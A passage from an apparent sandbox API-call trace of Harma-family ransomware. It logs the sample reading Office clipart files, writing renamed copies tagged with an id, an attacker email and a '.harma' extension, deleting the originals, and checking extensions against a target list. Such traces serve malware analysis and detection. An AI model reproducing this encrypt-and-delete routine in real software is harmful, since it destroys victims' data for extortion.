Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0147.669] GetLastError () returned 0x0 [0147.669] ReadFile (in: hFile=0x34c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xdc4, lpOverlapped=0x0) returned 1 [0147.674] WriteFile (in: hFile=0x21c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xdd0, lpOverlapped=0x0) returned 1 [0147.675] ReadFile (in: hFile=0x34c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.675] WriteFile (in: hFile=0x21c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.675] SetEndOfFile (hFile=0x21c) returned 1 [0147.675] CloseHandle (hObject=0x21c) returned 1 [0147.675] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.675] SetEndOfFile (hFile=0x34c) returned 1 [0147.677] CloseHandle (hObject=0x34c) returned 1 [0147.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0147.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0147.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0147.678] lstrlenW (lpString=".doc") returned 4 [0147.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.678] lstrlenW (lpString=".docx") returned 5 [0147.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.678] lstrlenW (lpString=".pdf") returned 4 [0147.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.678] lstrlenW (lpString=".xls") returned 4 [0147.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.678] lstrlenW (lpString=".xlsx") returned 5 [0147.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.678] lstrlenW (lpString=".ppt") returned 4 [0147.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0147.679] lstrlenW (lpString=".zip") returned 4 [0147.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.679] lstrlenW (lpString=".rar") returned 4 [0147.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.679] lstrlenW (lpString=".bz2") returned 4 [0147.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.679] lstrlenW (lpString=".7z") returned 3 [0147.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0147.679] lstrlenW (lpString=".dbf") returned 4 [0147.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0147.679] lstrlenW (lpString=".1cd") returned 4 [0147.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0147.679] lstrlenW (lpString=".jpg") returned 4 [0147.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0147.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0147.679] lstrlenW (lpString=".doc") returned 4 [0147.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.679] lstrlenW (lpString=".docx") returned 5 [0147.679] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.679] lstrlenW (lpString=".pdf") returned 4 [0147.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.679] lstrlenW (lpString=".xls") returned 4 [0147.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.679] lstrlenW (lpString=".xlsx") returned 5 [0147.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.679] lstrlenW (lpString=".ppt") returned 4 [0147.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0147.680] lstrlenW (lpString=".zip") returned 4 [0147.680] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.680] lstrlenW (lpString=".rar") returned 4 [0147.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.680] lstrlenW (lpString=".bz2") returned 4 [0147.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.680] lstrlenW (lpString=".7z") returned 3 [0147.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0147.680] lstrlenW (lpString=".dbf") returned 4 [0147.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0147.680] lstrlenW (lpString=".1cd") returned 4 [0147.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0147.680] lstrlenW (lpString=".jpg") returned 4 [0147.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.680] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0147.680] lstrlenW (lpString="BS00442_.WMF") returned 12 [0147.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0147.681] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2488) returned 1 [0147.681] CloseHandle (hObject=0x34c) returned 1 [0147.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x20 [0147.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0147.681] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.682] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0147.682] GetLastError () returned 0x0 [0147.682] ReadFile (in: hFile=0x34c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x9b8, lpOverlapped=0x0) returned 1 [0147.922] WriteFile (in: hFile=0x21c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0147.923] ReadFile (in: hFile=0x34c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.923] WriteFile (in: hFile=0x21c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.923] SetEndOfFile (hFile=0x21c) returned 1 [0147.923] CloseHandle (hObject=0x21c) returned 1 [0147.923] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.923] SetEndOfFile (hFile=0x34c) returned 1 [0147.927] CloseHandle (hObject=0x34c) returned 1 [0147.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0147.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0147.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0147.942] lstrlenW (lpString=".doc") returned 4 [0147.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.942] lstrlenW (lpString=".docx") returned 5 [0147.942] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.942] lstrlenW (lpString=".pdf") returned 4 [0147.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.942] lstrlenW (lpString=".xls") returned 4 [0147.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.942] lstrlenW (lpString=".xlsx") returned 5 [0147.942] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.942] lstrlenW (lpString=".ppt") returned 4 [0147.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0147.942] lstrlenW (lpString=".zip") returned 4 [0147.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.942] lstrlenW (lpString=".rar") returned 4 [0147.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.942] lstrlenW (lpString=".bz2") returned 4 [0147.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.942] lstrlenW (lpString=".7z") returned 3 [0147.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0147.942] lstrlenW (lpString=".dbf") returned 4 [0147.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0147.942] lstrlenW (lpString=".1cd") returned 4 [0147.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0147.942] lstrlenW (lpString=".jpg") returned 4 [0147.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0147.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0147.943] lstrlenW (lpString=".doc") returned 4 [0147.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.943] lstrlenW (lpString=".docx") returned 5 [0147.943] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.943] lstrlenW (lpString=".pdf") returned 4 [0147.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.943] lstrlenW (lpString=".xls") returned 4 [0147.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.943] lstrlenW (lpString=".xlsx") returned 5 [0147.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.943] lstrlenW (lpString=".ppt") returned 4 [0147.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0147.943] lstrlenW (lpString=".zip") returned 4 [0147.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.943] lstrlenW (lpString=".rar") returned 4 [0147.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.943] lstrlenW (lpString=".bz2") returned 4 [0147.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.943] lstrlenW (lpString=".7z") returned 3 [0147.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0147.943] lstrlenW (lpString=".dbf") returned 4 [0147.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0147.943] lstrlenW (lpString=".1cd") returned 4 [0147.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0147.943] lstrlenW (lpString=".jpg") returned 4 [0147.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.944] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0147.944] lstrlenW (lpString="BS01080_.WMF") returned 12 [0147.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.944] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2732) returned 1 [0147.944] CloseHandle (hObject=0x338) returned 1 [0147.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x20 [0147.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.945] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.945] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0147.945] GetLastError () returned 0x0 [0147.945] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xaac, lpOverlapped=0x0) returned 1 [0148.126] WriteFile (in: hFile=0x328, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xab0, lpOverlapped=0x0) returned 1 [0148.674] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.674] WriteFile (in: hFile=0x328, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.674] SetEndOfFile (hFile=0x328) returned 1 [0148.825] CloseHandle (hObject=0x328) returned 1 [0148.825] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.825] SetEndOfFile (hFile=0x338) returned 1 [0149.184] CloseHandle (hObject=0x338) returned 1 [0149.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0149.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0149.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0149.214] lstrlenW (lpString=".doc") returned 4 [0149.214] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.214] lstrlenW (lpString=".docx") returned 5 [0149.214] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0149.214] lstrlenW (lpString=".pdf") returned 4 [0149.214] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.214] lstrlenW (lpString=".xls") returned 4 [0149.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.215] lstrlenW (lpString=".xlsx") returned 5 [0149.215] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.215] lstrlenW (lpString=".ppt") returned 4 [0149.215] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0149.215] lstrlenW (lpString=".zip") returned 4 [0149.215] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.215] lstrlenW (lpString=".rar") returned 4 [0149.215] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.215] lstrlenW (lpString=".bz2") returned 4 [0149.215] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.215] lstrlenW (lpString=".7z") returned 3 [0149.215] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0149.215] lstrlenW (lpString=".dbf") returned 4 [0149.215] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0149.215] lstrlenW (lpString=".1cd") returned 4 [0149.215] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0149.215] lstrlenW (lpString=".jpg") returned 4 [0149.215] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0149.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0149.215] lstrlenW (lpString=".doc") returned 4 [0149.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.215] lstrlenW (lpString=".docx") returned 5 [0149.215] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0149.215] lstrlenW (lpString=".pdf") returned 4 [0149.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.215] lstrlenW (lpString=".xls") returned 4 [0149.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.216] lstrlenW (lpString=".xlsx") returned 5 [0149.216] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.216] lstrlenW (lpString=".ppt") returned 4 [0149.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0149.216] lstrlenW (lpString=".zip") returned 4 [0149.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.216] lstrlenW (lpString=".rar") returned 4 [0149.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.216] lstrlenW (lpString=".bz2") returned 4 [0149.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.216] lstrlenW (lpString=".7z") returned 3 [0149.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0149.216] lstrlenW (lpString=".dbf") returned 4 [0149.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0149.216] lstrlenW (lpString=".1cd") returned 4 [0149.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0149.216] lstrlenW (lpString=".jpg") returned 4 [0149.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.216] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0149.216] lstrlenW (lpString="CRANE.WMF") returned 9 [0149.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0149.897] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=5270) returned 1 [0149.897] CloseHandle (hObject=0x344) returned 1 [0149.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 0x20 [0149.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0149.980] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.980] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.980] GetLastError () returned 0x0 [0149.981] ReadFile (in: hFile=0x344, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1496, lpOverlapped=0x0) returned 1 [0149.983] WriteFile (in: hFile=0x2e8, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x14a0, 